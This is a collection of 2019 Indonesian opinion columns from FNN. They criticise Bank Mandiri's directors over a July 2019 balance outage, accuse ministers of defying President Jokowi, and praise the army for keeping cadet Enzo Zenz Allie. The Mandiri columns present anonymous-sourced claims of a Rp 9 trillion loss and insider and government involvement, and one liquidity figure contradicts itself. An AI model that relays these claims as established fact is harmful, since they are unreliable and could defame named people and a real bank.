detik ini pemerintah selaku pemegang saham pengendali tidak melakukan pemecatan terhadap Direksi Bank Mandiri. Tidak juga ada pemberhentian sementara terhadap minimal Direktur Teknologi Informasi (IT) Bank Mandiri. Sampai saat ini peristiwa “blackout” di Bank Mandiri juga tidak ada kelanjutannya. Padahal kabarnya Menteri BUMN Rini Soemarno dan pihak OJK telah memanggil Direksi Bank Mandiri. Tidak jelas, apakah pemanggilan itu terkait dengan sanksi atau siasat untuk meredam gejolak di publik. Tampaknya lebih untuk meredam gejolak publik. Karena hingga saat ini belum terpublikasi soal adanya sanksi terhadap Bank Mandiri dan Direksi Bank Mandiri. Selain Kementerian BUMN dan OJK, Ombudsman Indonesia juga sudah memanggil Direksi Bank Mandiri. Namun itupun hanya sekadar penjelasan mengapa terjadi dan bagaimana pemulihannya. Terus pemulihannya bagaimana? Selentingan sumber menyebutkan, hingga saat ini Bank Mandiri konon sudah jebol Rp 9 Triliun. Bank Mandiri juga tidak mampu untuk melakukan trackback atas dana-dana yang hilang dari tabungan nasabah. Dari peristiwa blackout-nya saldo rekening nasabah Bank Mandiri, sekitar 19 – 20 Juli 2019 lalu, Bank Mandiri telah melakukan trackback berhari-hari. Bahkan sampai seminggu lebih. “Hari Sabtu dan Minggu ini (28 Juli 2019, red), tim IT Mandiri masih melakukan trackback dan belum berhasil,” ujar sumber tersebut. Sampai selesai pemanggilan di Ombudsman, Direktur Bisnis dan Jaringan Bank Mandiri Hery Gunadi menjelaskan, akibat gangguan itu, ada sekitar 2.600 nasabah yang saldonya bertambah. Sekitar 90% dari 2.600 rekening nasabah sudah kembali normal. Saat ini hanya tinggal sekitar 5-10% saldo lebih yang belum dikembalikan ke bank. “Masih tinggal 5-10% lagi yang belum kembali. Jumlah kerugiannya ya sekitar Rp 10 miliar,” kata Hery dalam konferensi pers di Kantor Ombudsman, Jakarta (29/7/2019). Untuk mendapatkan kembali dana tersebut, bank gencar mendekati nasabah secara persuasif pada nasabah yang telah melakukan penarikan. “Karena rekening kan milik mereka, mereka berhak kelola. Yang kelebihan 2.600 itu sudah dikembalikan sekitar 90%. Kalau diomongin nasabah pasti mengerti,” jelas dia. Menurut sumber, Bank Mandiri bukan hanya rugi Rp 10 miliar saja. Namun, Bank Mandiri kehilangan dana pihak ketiga hingga Rp 9 triliun. Hingga minggu pertama Agustus ini, dana Rp 9 triliun itu belum bisa di-trackback ke Bank Mandiri. Kalau soal Bank Mandiri rugi Rp 10 miliar itu perkara yang mudah. Sedangkan bagaimana dengan yang Rp 9 triliun itu? Tampaknya tim IT bank pelat merah ini sepertinya memang tidak mampu mengembalikannya lagi ke Bank Mandiri. Peristiwa “blackout”, Bank Mandiri ini bermula dari kericuhan di media sosial, Sabtu 20 Juli 2019. Sejumlah nasabahnya mengeluhkan saldo tabungannya. Mereka mengeluh lantaran nominal saldonya berubah drastis. Banyak nasabah Bank Mandiri mengeluhkan saldonya berkurang. Namun, ada juga nasabah yang saldonya bertambah. Kejadian ini juga membuat nasabah bingung. Kemudian Bank Mandiri meresponnya seketika pada Sabtu, 20 Juli 2019. Bank Mandiri menggelar konferensi pers perihal gangguan jaringan Bank Mandiri yang lagi bermasalah, sehingga menyebabkan saldo nasabah berubah drastis. Ada saldo yang menjadi nol rupiah (Rp 0). Ada juga yang mendadak bertambah. Melalui akun twitter resmi, Bank Mandiri menyatakan, pihaknya telah melakukan investigasi dan meminta nasabah tidak perlu khawatir perihal saldonya. Dipastikan saldo nasabah tidak berkurang. Apa lacur, malah Bank Mandiri yang konon kehilangan Rp 9 triliun. Bank Mandiri yang terkena blackout akibat serangan siber. Menurut sumber di dalam, Bank Mandiri memang sedang menuju liang kebangkrutan. Pasalnya, secara teknis keamanan, sistem IT Bank Mandiri sangat tidak mungkin untuk bisa dipulihkan. Kejadian ini murni akibat serangan dari dalam Mandiri sendiri. Pelaku penyerangan diduga dari dalam Bank Mandiri. “Saya meyakini orang dalamlah yang menjadi pemain utamanya,” ujar seorang sumber yang sangat paham dengan seluk-buluk IT Bank Mandiri tersebut. Lalu, apakah pemerintah dalam hal ini Kementerian BUMN terlibat? Besar kemungkinan juga ikut terlibat. Indikasinya adalah hingga saat ini tidak ada sanksi apapun dari pemerintah sebagai pemegang saham pengendali kepada direksi Bank Mandiri. Kejadian blackout Bank Mandiri itu sangat mempengaruhi kepercayaan publik pada sistem perbankan nasional, khususnya sistem IT. Untuk itu pihak pemegang saham pengendali, yaitu pemerintah yang diwakili Kementerian Bank BUMN harus segera memberikan sanksi atau bahkan memecat Direktur IT Bank Mandiri. Manajemen Bank Mandiri seharusnya tidak gegabah dengan langsung melaporkan FNN ke Polisi. Bahkan, menuding sebagai penyebar hoax. Padahal, Ronan sendiri telah menyebar hoax soal Bank Mandiri “akan diambil Cina”. Bagaimana kalau yang ditulis oleh Luqman Ibrahim Soemay di FNN tersebut ternyata benar adanya? Hingga tulisan ini dibuat, setidaknya tulisan itu sudah 48.503 kali dilihat, 1.889 kali dilihat hari ini. Agar lebih jelas terkait dengan dugaan rabibnya duit Rp 9 triliun yang disebutkan Luqman itu, seharusnya PPATK dan BPK turun tangan. Orang bijak mengatakan, janganlah lihat siapa atau media yang menulisnya. Tapi, lihatlah apa isi tulisannya! End.

Abaikan Larangan Jokowi, Enggar dan Rini Membangkang?

Ada kesan perintah dan larangan Presiden Jokowi yang sudah dipublish itu hanya sebagai pemanis di bibir saja oleh para menterinya, setidak-tidaknya oleh Enggar dan Rini. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Presiden Joko Widodo mengeluarkan perintah dan larangan kepada seluruh menteri, pada saat sidang kabinet beberapa waktu lalu. Seluruh menteri Kabinet Kerja dilarang mengeluarkan kebijakan strategis. Selain itu, dilarang mengganti jajaran direksi BUMN ataupun jabatan dirjen di lingkungan kementerian. Belakangan, perintah dan larangan ini berlalu begitu saja. Bungen tuwo, orang Jawa bilang: mlebu kuping tengen, metu kuping kiwo. Nggak didengar. Nyatanya, Menteri Perdagangan, Enggartiasto Lukita, pada 6 Agustus lalu merombak jajaran pejabat eselon I di Kementerian Perdagangan sedangkan Menteri Badan Usaha Milik Negara (BUMN), Rini Soemarno, berencana merombak direksi di empat BUMN. Kesannya, perintah dan larangan Presiden Jokowi yang sudah dipublish itu hanya sebagai pemanis di bibir saja oleh para menterinya, setidak-tidaknya oleh Enggar dan Rini. Padahal keputusan Presiden yang melarang para menteri mengeluarkan kebijakan strategis jelang masa kabinet berakhir itu merupakan keputusan yang baik. "Periode akhir dari suatu pemerintahan tradisi dan etiknya adalah sebagai lame duck government,” ungkap ekonom senior dari Institute for Development of Economics and Finance (Indef), Didik J. Rachbini, mengomentari larangan presiden itu. “Ini kebijaksanaan yang baik,” lanjutnya. Bagi Didik, kebijakan strategis yang diambil menteri di penghujung waktu akan berpengaruh pada menteri selanjutnya, sehingga hal itu harus dihindari. "Jika buruk direksi yang dipilih, maka itu akan mempengaruhi bertahun-tahun kemudian," tandasnya. Kepala Staf Kepresidenan, Moeldoko, menjelaskan permintaan presiden itu didasari karena pemerintahan tinggal beberapa bulan sampai pelantikan. Mantan panglima TNI itu menyebut Jokowi tak ingin ada beban pada periode keduanya nanti. "Jadi jangan sampai nanti punya beban ke depannya. Itu aja sebenarnya," tuturnya seperti dikutip RMOL. Keputusan Presiden Toh, Enggar tetap melantik tujuh pejabat eselon I di kementeriannya pada Selasa (6/8) lalu. Salah satu pejabat yang dilantik adalah Oke Nurwan, menjadi Sekretaris Jenderal. Sebelumnya, Oke menjabat sebagai Direktur Perdagangan Luar Negeri. Pejabat lain yang diubah jabatannya ialah Suhanto. Sebelumnya, ia menjabat Staf Ahli Bidang Iklim Usaha dan Hubungan Antar Lembaga. Pada Selasa pekan lalu itu ia dilantik menjadi Direktur Jenderal Perdagangan Dalam Negeri. Enggar juga melantik Indrasari Wisnu Wardhana sebagai Direktur Jenderal Perdagangan Luar Negeri, dari sebelumnya Kepala Badan Pengawas Perdagangan Berjangka Komoditi (Bappebti). Sedangkan posisi Wisnu terdahulu diisi oleh Tjahya Widayanti. Selain itu, Enggar mengangkat Dody Edward sebagai Direktur Jenderal Pengembangan Ekspor Nasional. Ia juga mengukuhkan Arlinda menjadi Staf Ahli Bidang Hubungan Internasional. Lalu, Karyanto Suprih menjabat Staf Ahli Bidang Iklim Usaha dan Hubungan Antar Lembaga. Enggar optimistis bahwa formulasi pejabat eselon I baru tersebut dapat memenuhi kebutuhan Kemendag dalam menjalankan tugas sehari-hari. Pemangku jabatan di posisi ini, menurutnya, harus berani mengambil risiko dalam membuat keputusan yang tepat dan cepat. "Sebagai pemimpin, loyalitas yang paling utama adalah kepada Merah Putih, yaitu Negara Kesatuan Republik Indonesia. Kita harus mempunyai hubungan yang baik dengan semua, loyal terhadap atasan, rekan, dan bawahan, serta saling bahu membahu satu sama lainnya," kata Enggar dalam rilisnya. Pelantikan ini berlangsung pada hari yang sama saat Moeldoko mengatakan bahwa Presiden menyerukan para pejabat untuk tidak mengeluarkan kebijakan strategis atau penggantian jabatan tertentu. Kepala Biro Humas Kemendag Fajarini Puntodewi menjelaskan mutasi pejabat eselon I di Kemendag itu sudah berdasarkan dengan Keputusan Presiden yang diterbitkan pada Juli lalu. "Dasarnya Keputusan Presiden nomor 78/TPA yang dikeluarkan tanggal 15 Juli 2019. Jadi sudah jauh sebelumnya," kata Fajarini, Rabu (7/8) Lima BUMN Sementara itu, sebanyak lima perusahaan BUMN juga akan menggelar Rapat Umum Pemegang Saham Luar Biasa (RUPSLB) secara simultan dan berurutan sejak 28 Agustus hingga 2 September mendatang. Berdasarkan data keterbukaan informasi Bursa Efek Indonesia (BEI), Senin (12/8), agenda RUPSLB itu sama, yakni evaluasi kinerja semester I-2019 dan perubahan susunan pengurus. Kelima BUMN yang akan menggelar RUPSLB yakni PT Perusahaan Gas Negara Tbk., PT Bank Mandiri (Persero) Tbk., PT Bank Tabungan Negara (Persero) Tbk., PT Bank Negara Indonesia (Persero) Tbk., dan PT Bank Rakyat Indonesia (Persero) Tbk. Rencana perombakan direksi BUMN jelas-jelas melanggar perintah yang pernah disampaikan Presiden Jokowi. "Itu perintah. Apa yang disampaikan dalam sidang kabinet kan perintah. Harus diikuti. Mestinya begitu," kata Moeldoko, Senin (12/8). Moeldoko menegaskan setiap menteri Kabinet Kerja harus mematuhi instruksi langsung yang diberikan kepala negara. Termasuk dalam hal perombakan jabatan maupun direksi BUMN. "Itu kan moral obligation bagi pejabat negara begitu," tegasnya. Enggar dan Rini toh melenggang saja melompati perintah dan larangan presiden. Kalau sudah begitu, Presiden mau apa? End

Para Pelaku Sejarah: Marsekal Hadi, Jenderal Andika, dan Enzo?

Enzo adalah amunisi baru bagi mereka. Enzo mereka presentasikan seperti RPG (rocket-propelled grenade). Granat berpeluncur roket yang siap menghancurkan sasaran. Mungkin juga ada yang menggambarkan Enzo sebagai bom waktu. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Sungguh di luar dugaan semua orang. Panglima TNI Marsekal Hadi Tjahjanto dan KSAD Jenderal Andika Perkasa mengambil kebijakan yang tak disangka-sangka. Istilah lainnya, “out of the box”. Alias, tidak mengikuti serbuan opini, komentar, dan masukan yang menyesatkan terkait prahara yang melanda taruna akademi militer (akmil), Enzo Zenz Allie. Di tengah hujatan para buzzer pembenci Enzo, Panglima TNI dan KSAD memutuskan untuk mempertahankan Enzo sebagai taruna akmil. Enzo dibenci hanya gara-gara dugaan bahwa Enzo memiliki bendera tauhid. Kehadirannya di akmil disebut sebagai kecolongan, ancaman terhadap NKRI, ancaman terhadap Pancasila, dlsb. Tetapi, Marsekal Hadi dan Jenderal Andika bukan tipe pemimpin yang cepat terpengaruh oleh hembusan angin. Apalagi cuma angin kebencian yang tak berdasar (baseless hatred). Kalau dilihat dalam “slow motion”, kedua petinggi TNI ini tampak seperti melawan arus. Dan, memang, mereka melawan arus. Yaitu, arus yang datang dari pusat sistem kebencian terhadap Islam. What? Ada pusat sistem kebencian terhadap Islam? Yes, it’s whiter than white. Lebih dari putih. Jelas kok itu. Kalau bukan karena bendera tauhid, tentu caci-maki, hujatan, labelisasi, prediksi negatif, dll, tidak seriuh yang dialami oleh Enzo. Lihat saja. Begitu banyak orang-orang yang merasa dirinya sangat pancasilais, langsung berkomentar penuh horor. Seolah Enzo akan menghancurkan TNI, menghancurkan Pancasila. Seolah Enzo akan menjadi panglima perang Hizbut Tahrir. Begitulah cara kerja pusat sistem kebencian terhadap Islam. Di mana markasnya? Ada di mana-mana. Ada di benak setiap orang yang dengki terhadap Islam dan umat Islam. Mereka itu bisa siapa saja. Bahkan, uniknya, untuk Indonesia, mereka yang dengki itu adalah orang Islam sendiri. Tak masuk akal? Memang tak masuk akal. Tapi, begitulah cara kerja pusat sistem kebencian terhadap Islam. Sistem itu kuat dan sudah menggurita. Apa alasannya? Sangat sederhana. Mereka tak rela umat Islam menjadi kuat secara politis dalam menjaga NKRI dan kebinekaan. Mereka lebih senang melihat umat Islam terus-menerus diaosiasikan dengan terorisme, radikalisme, dlsb. Dengan semua label-label yang sengaja dibingkai sebagai momok yang menakutkan. Enzo adalah amunisi baru bagi mereka. Enzo mereka presentasikan seperti RPG (rocket-propelled grenade). Granat berpeluncur roket yang siap menghancurkan sasaran. Mungkin juga ada yang menggambarkan Enzo sebagai bom waktu. Alhamdulillah, Marsekal Hadi dan Jenderal Andika tidak sepicik para pembenci Enzo yang notabene pembenci Islam. Mereka berdua berani mengambil risiko berseberangan dengan para pembenci. Mereka berdua menunjukkan bahwa hal-ihwal ke-TNI-an adalah domain mereka. Mereka tahu apa yang harus dilakukan oleh TNI dan bagaimana cara melakukannya. Tindakan kedua petinggi TNI itu terasa di luar logika hankam. Tetapi, beliau berdua ini tentu memiliki “the sixth sense”. Marsekal Hadi dan Jenderal Andika menggunakan “indera keenam”. Ada “bacaan lain” mereka tentang situasi Indonesia. Kalau dipikir-pikir, dengan segala macam komentar berkolesterol tinggi yang dilontarkan oleh para pembenci, yang banyak diantaranya adalah para intelektual, pastilah kedua petinggi TNI itu akan mengambil tindakan “riskless” (tak berisiko). Yaitu, memecat Enzo. Inilah tindakan yang paling aman bagi Pak Hadi dan Pak Andika kalau referensinya adalah hujatan para pembenci. Tetapi, Panglima dan KSAD lebih memilih jalan historikal. Mereka lebih arif dari Pak Mahfud MD. Mereka, tanpa sengaja, memutuskan untuk menggoreskan nama mereka di lembaran sejarah cemerlang TNI. Marsekal Hadi dan Jenderal Andika lebih suka menjadi pelaku sejarah. Boleh jadi beliau berdua teringat Panglima Besar Jenderal Sudirman. Pak Dirman sangat kental ketauhidannya tetapi sangat kental juga nasionalismenya. End

Direksi Bank Mandiri Tidak Perlu “Jemawa lah”

Semua anak bangsa harus punya keresahan tinggi terhadap peristiwa blackout yang menimpa Bank Mandiri. Toh seandainya Bank Mandiri bangkrut atau bermasalah, para direksi dan karyawannya masih tetap menerima gaji yang tinggi dan besar. Bahkan, masih bisa terima bonus-bonus akhir tahun seperti tantiem, fasilitas kesehatan, dan sejumlah fasilitas lainnya. Oleh Luqman Ibrahim Soemay Jakarta, FNN - Kasus terjadinya blackout yang menimpa Bank Mandiri harus dijadikan pelajaran berharga untuk melakukan perbaikan ke dalam. Bukan sebaliknya mencari-cari celah sana-sini untuk menghindar dari kegagalan melindungi dana nasabah. Sebab bukan pihak-pihak dari eksternal yang membuat publik tidak percaya kepada Bank Mandiri. Publik selama ini percaya terhadap Bank Mandiri. Sebaliknya, direksi Bank Mandiri sendiri yang mendorong publik, termasuk penulis untuk tidak percaya dengan Bank Mandiri sekarang. Buktinya, terjadinya balckout itulah sebagai contoh paling nyata. Sebenarnya masih banyak kasus lain yang membuat publik menjadi tidak percaya. Semua akibat ulah dari internal Bank Mandiri sendiri. Cuma selama ini publik diam, karena mengganggap masih dalam batas-batas yang wajar. Namun begitu terjadi peristiwa blackout, maka sempurnalah perilaku internal Bank Mandiri membangun ketidakpercayaan publik tersebut. Yang mungkin saja tidak disadari oleh direksi dan pengelola sekarang adalah membangun kembali kepercayaan publik kepada Bank Mandiri. Sebelumnya kepencayaan publik itu hancur berantakan sejak dari empat bank yang dimerger menjadi Bank Mandiri. Keempat bank tersebut adalah Bank Dagang Negara (BDN), Bank Ekspor Impor (Bank Exim), Bank Pembangunan Indonesia (Bapindo) dan Bank Bumi Daya (BBD). Empat bank BUMN tersebut adalah bank-bank dengan kategori hebat. Kehebatan dari empat bank asal Mandiri tersebut, bukan saja diakui di dalam negeri, tetapi juga di luar negeri. Sayangnya, harus berantakan, dan tidak dipercaya publik. Sejarah kelam masa lalu ini yang mungkin tidak diketahui dan dipelajari oleh direksi dan pengelola Bank Mandiri sekarang. Salah satu sifat buruk yang penulis kenal dari direksi dan pengelola empat bank yang dimerger menjadi Bank Mandiri tersebut adalah suka arogan, sombong, dan angkuh. Kebetulan saja penulis kenal dengan mereka. Direksinya merasa paling benar sendiri. Bahkan kadang-kadang menjadi pemilik kebenaran kalau bicara soal perbankan. Pokoknya pendapat orang lain itu salah saja. Direksi keempat bank tersebut juga suka alergi terhadap kritik yang datang dari publik eksternal. Kalau ada kritik, maka itu dianggap sebagai upaya mendiskreditkan. Tujuannya untuk merusak kepercayaan masyarakat kepada Bank Mandiri. Hampir sama persis dengan keterangan Direksi Bank Mandiri yang disampaikan Corporate Secretary Rohan Hafas yang beredar di media sosial WhatsApp. Malah Direksi Bank Mandiri sekarang menuduh kritik dari penulis merupakan upaya untuk mendiskreditkan pemerintah dan perekonomian Indonesia. Hampir sama persis juga dengan di era Orde Baru. Dulu, direksi empat bank yang dimerger menjadi Bank Mandiri kalau dikritik, cara ngejawabnya gampang bangat. Misalnya, “ah kritik itu kan sebagai upaya untuk mendiskreditkan dan merusak kepercayaan masyarakat kepada bank”. Selain itu, mantan direksi empat bank juga sukan bilang, “kritik itu sebagai upaya untuk merusak kepercayaan masyarakat kepada perekonomian nasional dan pemerintah yang sah”. Hampir sama persis dengan yang dulu penulis dengar dari mulut direksi keempat bank yang dimerger tersebut. Hanya bedanya, dulu itu di eranya Orde Baru. Sekarang eranya Orde Reformasi. Sekadar mengingatkan saja bahwa mantan Direktur Utama Bapindo Towil Heryoto berakhir di penjara. Sementara Direktur Utama Bank Bumi Daya Syahrial juga mengalami nasib yang sama, di penjara. Terakhir mantan Dirut Bank Mandiri Edi C.W. Neloe. Hampir semuanya karena merasa paling benar sendiri dan alergi terhadap kritik dari publik. Ya mereka juga jemawa. Sayangnya sekarang sudah eranya reformasi. Namun direksi Bank Mandiri masih suka dan senang menggunakan pendekatan pola-pola zaman bahula Orde Baru. Kritik dan saran dari publik bukannya diterima sebagai bentuk rasa memiliki Bank Mandiri. Sebaliknya, kritik dianggap sebagai “upaya mendiskreditkan dan merusak kepencayaan masyarakat kepada Bank Mandiri”. Kalau memang lupa dan tidak tahu, penulis mengingatkan direksi Bank Mandiri bahwa sebagai mantan direksi empat bank yang dimerger menajadi Bank Mandiri itu berakhir di penjara. Banknya juga bermasalah, sehingga dimerger menjadi Bank Mandiri. Salah satu penyebabnya mereka sombong, angkuh, dan arogan terhadap kritik publik. Namun itu wajar saja, karena mereka menjadi direksi bank di era Ode Baru. Kalau sekarang direksi Bank Mandiri alergi terhadap kritik dari publik, mudah-mudahan saja tidak sedang membuat bank BUMN ini bernasib sama dengan empat bank yang dimerger menjadi Bank Mandiri dulu. Untuk itu, direksi Bank Mandiri tidak perlu “jemawa lah”. Karena penyangga utama Orde Baru saja sudah berubah jauh bangat. Mereka dulu serba otoriter, sekarang sudah bisa menerima kritik dan masukan sebagai vitamin untuk perbaikan-perbaikan ke depan. Pilar utama penyokong Orde Baru adalah TNI, Polri, Partai Golkar dan Bank Indonesia sudah sangat familiar dan terbuka menerima kritik publik. Keempat lembaga ini juga sangat aware terhadap kritik masyarakat. Anehnya, direksi Bank Mandiri malah sebaliknya. Nyatanya mata direksi Bank Mandiri, kritik itu adalah ”mendiskeditkan, merusak kepercayaan masyarakat terhadap Bank Mandiri, perekonomian nasional dan pemerintahan yang sah”. Luar biasa direksi Bank Mandiri ini. Wajar juga kalau direksi Bank Mandiri masih menerapkan pola-pola warisan Orde Baru. Sebab dari direksi dan komisaris, termasuk Senior Vice President Bank Mandiri adalah orang-orang yang sama sekali tidak pernah berkeringat di reformasi 1998. Mereka tidak ikut menjatuhkan Soeharto dan Orde Baru dari singgasana 32 tahun kekuasaan. Bahkan sangat mungkin mereka menjadi bagian atau penikmat dari kekuasaan Orde Baru. Direksi Bank Mandiri terdiri dari Direktur Utama Kartika Wirjiatmodjo, Wakil Direktur Utama Sulaiman Arif Arianto. Sedangkan jajaran Direktur adalah Royke Tumilar, Harry Gunadi, Ahamd Siddik Badrudin, Darmawan Junaidi, Alexandra Askandar, Agyus Dwi Handaya, Panji Irawan, Donsuwan Simatupang, Riduan dan Rico Usthavia Frans. Pada jajaran komisaris, terdiri dari Komisaris Utama Hartadi Agus Sarwono, Wakil Komisaris Utama Imam Apriyanto Putro. Sedangkan jajaran Komisaris adalah Askolani, Bangun Sarwiro Kusmulyono, Goei Siauw Hong, Ardan Adiperdana, Makmur Kaliat, dan R. Widyo Pramono. Pada 20 Juli 2019 lalu Bank Mandiri mengakui bahwa kesalahan sistem teknologi informasi telah menyebabkan perubahan saldo pada 1,5 juta rekening nasabah. Total nasabah Bank Mandiri saat ini ada 20 juta. Ada sekitar 2.600 nasabah yang saldonya bertambah. Namun jajaran Bank Mandiri tidak menjelaskan berapa banyak nasabah yang saldonya berkurang. Padahal kejadian ini adalah fakta dan peristiwa hukum yang terjadi akibat kesalahan dari pengelolanya. Kejadian blackout ini adalah peristiwa hukum. Akibatnya, kepercayaan publik kepada Bank Mandiri bisa berkurang dengan sendirinya. Jadi, sebenarnya tidak butuh orang lain untuk meyakinkan publik. Sebab jajaran Mandiri sendiri telah berhasil meyakinkan publik bahwa sistem IT milik Bank Mandiri tidak menjamin kenyamanan uang para nasabah. Kepercayaan nasabah dan publik itu tidak dibangun di atas banyak atau sedikitnya saldo nasabah yang berkurang atau bertambah. Satu saja saldo nasabah yang bertambah atau berkurang sudah membuat kepercayaan publik dan kepada Bank Mandiri bermasalah. Apalagi ini jutaan orang. Nasabah Bank Mandiri tentu saja tidak pernah berharap saldo uangnya di Bank Mandiri ditambah atau dikurangi. Jadi, sebenarnya yang merecoki kepercayaan publik itu, ya jajaran direksi dan pengelola Bank Mandiri sendiri. Siapa penanggung jawab bidang IT Bank Mandiri? Direksi Bank Mandiri juga perlu belajar dari skandal Asuransi Bumiputra dan Bank Century. Karena cara-cara pengelolaan yang tertutup dan alergi terhadap kritik, Bumiputra kejeblos jurang sebesar Rp 40 Triliun sekarang. Kalau sudah begini, apa cukup hanya dengan meminta tanggung jawab direksi Bumiputra? Direksi Bumiputra mungkin saja setiap saat bisa dijeblosin ke penjara. Namun apakah itu serta-merta bisa menyelesaikan masalah Rp 40 Triliun tersebut? Begitu juga dengan skandal Bank Century di akhir pemerintahan SBY periode pertama. Skandal bank dengan nilai penjarahan Rp 6,7 Triliun tersebut, hampir saja membuat pemerintahan SBY tergelincir dari kekuasaan. Toh, masalahnya tidak selesai hanya dengan menjebloskan direksi dan pemiliknya Robert Tantular ke dalam penjara. Sampai dengan akhir 2018, total aset Bank Mandiri adalah Rp 1.202,25 Triliun. Sementara itu total kewajiban atau liabilities Bank Mandiri mencapai Rp 941,95 Triliun atau setara dengan 78,34%. Artinya, Bank Mandiri harus kerja keras memelihara asetnya. Sebab dari jumlah tersebut, sebanyak Rp 767,76 Triliun atau sekitar 63,86% berupa kredit kepada debitur. Rasio aset likiut terhadap total aset pada 2018 juga turun menjadi 6,84% bila dibandingkan dengan tahun 2017 yang mencapai 13,26%. Dengan demikian, ada penurunan likuiditas Bank Mandiri. Resiko likuiditas yang meningkat juga berdampak terhadap ketidakmampuan Bank Mandiri memelihara kewajiban yang jatuh tempo. Begitu juga dengan rasio total aset likuit terhadap pendanaan jangka pendek tahun 2018, yang turun drastis dari 8,19% menjadi 9,59%. Pada tahun 2017 rasio total aset likuit terhadap pendanaan jangka pendek sebesar 17,78%. Kenyataan ini menandakan adanya risiko likuiditas Bank Mandiri terhadap pendanaan jangka pendeknya. Direksi Bank Mandiri tidak perlulah bapper. Tidak perlu juga jemawa terhadap kritik masyarakat. Berlajarlah yang banyak kepada TNI, Polri, Golkar dan Bank Indonesia, yang dikritik habis-habisan dengan sangat keras dan menusuk. Namun semua kritik itu diterima dengan lapang dada. Dianggap sebagai masukan atau warning untuk perbaikan ke depan. Semua anak bangsa harus punya keresahan tinggi terhadap peristiwa blackout yang menimpa Bank Mandiri. Toh seandainya Bank Mandiri bangkrut atau bermasalah, para direksi dan karyawannya masih tetap menerima gaji yang tinggi dan besar ko. Bahkan masih bisa terima bonus-bonus akhir tahun seperti tantiem, fasilitas kesehatan dan sejumlah fasilitas lainnya dari Bank Mandiri. Untuk itu direksi Bank Mandiri tidak perlu jemawa lah. Lebih baik belajar dari kejadian yang menimpa direksi empat bank yang dimerger menjadi Bank Mandiri. Sebab mereka adalah bankir-bankir hebat di eranya dulu. Namun mereka tergelincir juga, karena jemawa terhadap kritik. Padahal penulis sudah sering mengingatkan mereka seperti ini. Semoga saja bermanfaat, aamiin aamiin dan aamiin.

Tidak Pecat Enzo : Salut dan Hormat Kepada KSAD dan TNI

Bayangkan bila sampai TNI AD tunduk pada tekanan para buzzer. Tunduk pada tekanan tokoh sekaliber Mahfud MD. Apa jadinya bangsa ini? Oleh Hersubeno Arief Jakarta, FNN - Kalau ada tokoh dan lembaga yang dalam pekan-pekan ini pantas mendapat salut, penghormatan tinggi dari bangsa dan negara, maka pilihannya tidak akan terlalu sulit. Dapat dipastikan Kepala Staf TNI Angkatan Darat (KSAD) Jenderal Andika Perkasa, dan TNI khususnya TNI AD adalah pilihan yang tepat. Tidak perlu ada perdebatan. Keputusan Jenderal Andika dan TNI AD mempertahankan Enzo Zenz Allie sebagai taruna Akademi Militer (Akmil) adalah keputusan yang tepat, bijak, dan berani. Sebuah keputusan yang akan membuat pondasi kehidupan berbangsa dan negara semakin kokoh. Sekalipun selama ini mencoba bersikap netral, tidak mudah bagi TNI AD untuk mengabaikan begitu saja tekanan para buzzer dan tokoh sekelas Mahfud MD. Para buzzer ini adalah pendukung garis keras pemerintah c/q Jokowi-Ma’ruf. Sementara Enzo diketahui merupakan putera seorang emak-emak militan pendukung Prabowo-Sandi. Karena itulah ketika di akun medsosnya Enzo kedapatan memasang fotonya dengan bendera tauhid, tidak ada ampun. Dia langsung di-bully habis. Mantan Menhan Mahfud MD bahkan menyebut TNI kecolongan. Enzo harus dipecat! Pilihannya bagi Andika sebenarnya sangat mudah. Kalau mau main aman. Pecat Enzo. Beres! Tapi itu tidak dilakukannya. Residu Pilpres Kasus Enzo menjadi heboh tidak bisa dilepaskan dari sisa-sisa limbah (residu) pertarungan antara dua kubu pada Pilpres 2019: kubu paslon 01 dengan 02. Bayangkan bila sampai TNI AD tunduk pada tekanan para buzzer. Tunduk pada tekanan tokoh sekaliber Mahfud MD. Apa jadinya bangsa ini? Isu Enzo tidak boleh dilihat sebagai soal remeh. Hanya soal seorang remaja blasteran yang dicap sebagai terpapar kelompok radikal. Karena itu dia tak boleh diberi ampun. Harus dipecat sebagai taruna Akmil. Isu ini telah menyentuh perasaan paling dalam umat Islam. Keyakinan yang paling mendasar. Konsep tauhid yang mengakui ke-Esaan Allah SWT. Kalimat tauhid tidak boleh dibuat main-main. Umat Islam rela mati untuk mempertahankan rukun Islam pertama itu. Melihat reaksi publik yang tercermin di media dan medsos, bila sampai Enzo dipecat bakal memunculkan kegaduhan baru. Kegaduhan yang sangat besar. Bukan tidak mungkin muncul Aksi Bela Islam (ABI) jilid baru. Umat Islam sebagai mayoritas merasa kian dipinggirkan. Merasa kian dimusuhi oleh rezim pemerintahan Jokowi. Upaya rekonsiliasi yang coba dibangun oleh Presiden Jokowi akan sia-sia. Sebagai lembaga, TNI juga akan kehilangan kepercayaan dari umat Islam. Anak muda Islam tak berani masuk ke akademi militer. Takut dipecat karena stigma radikal. TNI akan terpecah belah dalam perkubuan : TNI Pancasilais, TNI Hijau, TNI Merah, dan entah TNI apalagi. Masyarakat kita akan kembali terbelah dan terpuruk kian dalam. Sebuah permusuhan yang tidak berkesudahan. Tidak pada tempatnya mempertentangan semangat keberagamaan yang tinggi dengan standar profesionalisme TNI. Sebagai prajurit, mereka terikat pada Sapta Marga, Sumpah Prajurit, dan 8 Wajib TNI. Dalam Sapta Marga pada poin ketiga tegas disebutkan : Kami Ksatria Indonesia, yang bertaqwa kepada Tuhan Yang Maha Esa, serta membela kejujuran, kebenaran dan keadilan. Seorang prajurit TNI haruslah seorang yang bertaqwa kepada Tuhan Yang Maha Esa. Bagaimana mungkin seorang taruna dipecat karena menjunjung tinggi kalimat tauhid. Kalimat pengakuan, sebuah kesaksian atas ke-Agungan dan ke-Esaan Tuhan Yang Maha Esa. Dalam sumpah prajurit dan 8 Wajib TNI juga dimulai dengan kalimat : Demi Allah saya bersumpah/berjanji. Jadi semua sikap, perilaku dan keseluruhan hidup seorang prajurit TNI harus dijiwai oleh semangat keberagamaan yang tinggi. Semangat yang digariskan dan diwariskan oleh Panglima Besar TNI Jenderal Sudirman. Untunglah KSAD dan TNI telah bersikap profesional, menjaga akal sehat. Tidak tunduk begitu saja kepada tekanan buzzer dan Mahfud MD. Tidak tunduk dan larut dalam arus kebencian yang meracuni masyarakat. Sekali lagi salut dan hormat setinggi-tingginya. End

Setelah Megawati, PDIP Terancam Gulung Tikar

